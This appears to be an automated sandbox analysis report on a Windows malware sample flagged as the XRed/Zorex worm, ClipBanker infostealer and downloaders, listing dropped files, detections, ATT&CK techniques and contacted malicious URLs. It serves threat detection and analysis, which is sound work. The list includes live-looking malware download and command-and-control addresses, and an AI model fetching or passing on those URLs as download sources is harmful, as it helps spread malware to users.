Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF181.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF308.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF181.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\2.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_004084A0 WSAGetLastError,EndDialog,closesocket,inet_ntoa,closesocket,closesocket,socket,bind,EndDialog,closesocket,inet_addr,gethostbyname,rand,inet_addr,htons,connect,WSAGetLastError,inet_ntoa,EndDialog,closesocket,htonl,htonl,htonl,closesocket,_close,EndDialog,	2_2_004084A0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00408290 time,srand,EndDialog,socket,EndDialog,bind,EndDialog,closesocket,inet_addr,gethostbyname,gethostbyname,rand,inet_addr,gethostbyname,rand,htons,connect,htonl,htonl,htonl,closesocket,_close,EndDialog,	2_2_00408290
Source: C:\Windows\cbas.exe	Code function: 18_2_00BA10C0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,__ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,__ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,__ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,std::_Init_locks::_Init_locks,	18_2_00BA10C0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BA1770 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	18_2_00BA1770

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	1 Native API	41 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	21 Registry Run Keys / Startup Folder	111 Process Injection	21 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	324 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	142 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	87%	ReversingLabs	Win32.Ransomware.XRed
file.exe	100%	Avira	TR/VB.Downloader.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\2.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Program Files (x86)\2.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	100%	Avira	TR/VB.Downloader.Gen
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	100%	Avira	HEUR/AGEN.1315939
C:\Program Files (x86)\1.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Program Files (x86)\1.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Program Files (x86)\3.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Windows\cbas.exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	100%	Avira	TR/VB.Downloader.Gen
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXF181.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXF181.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	100%	Avira	HEUR/AGEN.1317762
C:\Program Files (x86)\2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCXF308.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\1.exe	100%	Joe Sandbox ML
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	100%	Joe Sandbox ML
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe	100%	Joe Sandbox ML
C:\Windows\cbas.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXF181.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	100%	Joe Sandbox ML
C:\Program Files (x86)\4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	100%	Joe Sandbox ML
C:\Program Files (x86)\1.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Program Files (x86)\2.exe	89%	ReversingLabs	Win32.Worm.Zorex
C:\Program Files (x86)\3.exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Program Files (x86)\4.exe	68%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\ProgramData\Synaptics\RCXF181.tmp	100%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	91%	ReversingLabs	Win32.Trojan.SpywareX
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	71%	ReversingLabs	Win32.Trojan.SpywareX
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1[1].exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wic[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\3[1].exe	87%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msslac[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\4[1].exe	68%	ReversingLabs	Win32.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\2[1].exe	89%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cbas[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe	100%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\AppData\Local\Temp\RCXF376.tmp	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\Desktop\._cache_1.exe	21%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\._cache_2.exe	12%	ReversingLabs
C:\Users\user\Documents\~$cache1	100%	ReversingLabs	Win32.Worm.Zorex
C:\Windows\cbas.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\msslac.dll	0%	ReversingLabs
C:\Windows\wic.exe	39%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://pasy.telefonicas.fyi/wwwww.phpC:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/%%bruplong.oss-accelerate.aliyuncs.com	0%	Avira URL Cloud	safe
http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112	0%	Avira URL Cloud	safe
http://LineageTheBloodPledge.com/.	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllhttp://bruplong.oss-accelerate.aliyuncs.co	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll:	0%	Avira URL Cloud	safe
http://lineage.ncsoft.co.kr/download/	0%	Avira URL Cloud	safe
https://rar.tw	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	100%	Avira URL Cloud	malware
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkI	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMp	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe#B	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exellC:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exex	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeF	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeKB	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkP:	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.iniZ	100%	Avira URL Cloud	malware
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe0	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exe	0%	Avira URL Cloud	safe
http://pasy.telefonicas.fyi/wwwww.php	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe_	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe1	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeG	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkl	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeNNC:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkm	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkp;	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exet	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeU	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe	0%	Avira URL Cloud	safe
https://docs.gook	0%	Avira URL Cloud	safe
http://www.lineageonline.jp/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe	0%	Avira URL Cloud	safe
https://rar.tw)	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll6	100%	Avira URL Cloud	malware
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe?	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exes	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk&	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dlh	100%	Avira URL Cloud	malware
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exeC:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exed	0%	Avira URL Cloud	safe
https://rar.tw/	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk32P;	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exewsC:	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeaa	0%	Avira URL Cloud	safe
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllp;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
eu-central-1.oss-acc.aliyuncs.com	47.254.187.72	true	true	unknown
docs.google.com	142.250.186.142	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.185.225	true	false	high
bruplong.oss-accelerate.aliyuncs.com	unknown	unknown	true	unknown
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe	true	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe	true	Avira URL Cloud: safe	unknown
xred.mooo.com	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe	true	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe	true	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pasy.telefonicas.fyi/wwwww.phpC:	wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	2[1].exe.0.dr	false		high
http://lineage.ncsoft.co.kr/download/	._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://LineageTheBloodPledge.com/.	._cache_1.exe, ._cache_1.exe, 00000002.00000002.1740103618.000000000077E000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000002.1740179585.000000000079B000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, ._cache_1.exe, 00000002.00000003.1739534840.0000000000798000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000002.00000003.1739384768.0000000000798000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rar.tw	._cache_2.exe, 00000008.00000003.1851226611.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846288362.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1888790338.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1848850504.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792819472.000000000B978000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1849571104.000000000B976000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1846016915.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851226611.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1772719262.000000000674B000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1851185608.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1772791290.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792637441.000000000B969000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1793242796.000000000B98A000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1838969140.000000000B988000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000002.1889810525.0000000000D08000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887975788.000000000B978000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792819472.000000000B98A000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1887786391.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1850729652.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, ._cache_2.exe, 00000008.00000003.1792637441.000000000B978000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/%%bruplong.oss-accelerate.aliyuncs.com	file.exe, 00000000.00000003.1708813251.0000000000726000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112	._cache_1.exe, 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dll:	wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/msslac.dllhttp://bruplong.oss-accelerate.aliyuncs.co	wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnk	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkI	wic.exe, 0000000B.00000002.3538860898.0000000001681000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe#B	file.exe, 00000000.00000002.1801335644.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exex	file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com	file.exe, RCXF308.tmp.3.dr, RCXF376.tmp.3.dr	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMp	file.exe, 00000000.00000003.1708777064.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exellC:	file.exe, 00000000.00000003.1708777064.000000000073F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeF	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 00000003.00000002.3537477101.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeKB	file.exe, 00000000.00000002.1801335644.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.lnkP:	wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe0	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	2[1].exe.0.dr	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/cbas.exe	wic.exe, 0000000B.00000002.3538860898.000000000160E000.00000004.00000020.00020000.00000000.sdmp, wic.exe.0.dr, wic[1].exe.0.dr	false	Avira URL Cloud: safe	unknown
http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe_	file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.3538971140.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe1	file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
